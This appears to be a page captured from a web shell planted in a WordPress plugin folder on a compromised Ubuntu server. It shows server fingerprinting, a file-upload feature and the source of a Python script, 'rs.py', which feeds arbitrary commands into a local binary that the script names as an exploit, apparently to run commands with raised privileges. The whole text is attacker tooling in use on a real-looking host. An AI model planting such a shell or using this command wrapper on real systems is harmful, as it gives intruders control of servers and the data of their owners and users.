HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /proc/self/cwd/wp-content/plugins/wp-mechanisms-multinetworked/
Upload Files
File: //proc/self/cwd/wp-content/plugins/wp-mechanisms-multinetworked/rs.py
#!/bin/python
# -*- coding: utf-8 -*-
from    subprocess import Popen, PIPE, STDOUT
import  time
import  os
import  sys
 
exploit = './yuuki'
cmds    = sys.argv[1]
 
p = Popen([exploit, ''], stdout=PIPE, stdin=PIPE, stderr=STDOUT)
comm = p.communicate(cmds.encode('utf-8'))[0]
resp = str(comm.decode('utf-8'))
print(resp)
@ Telegram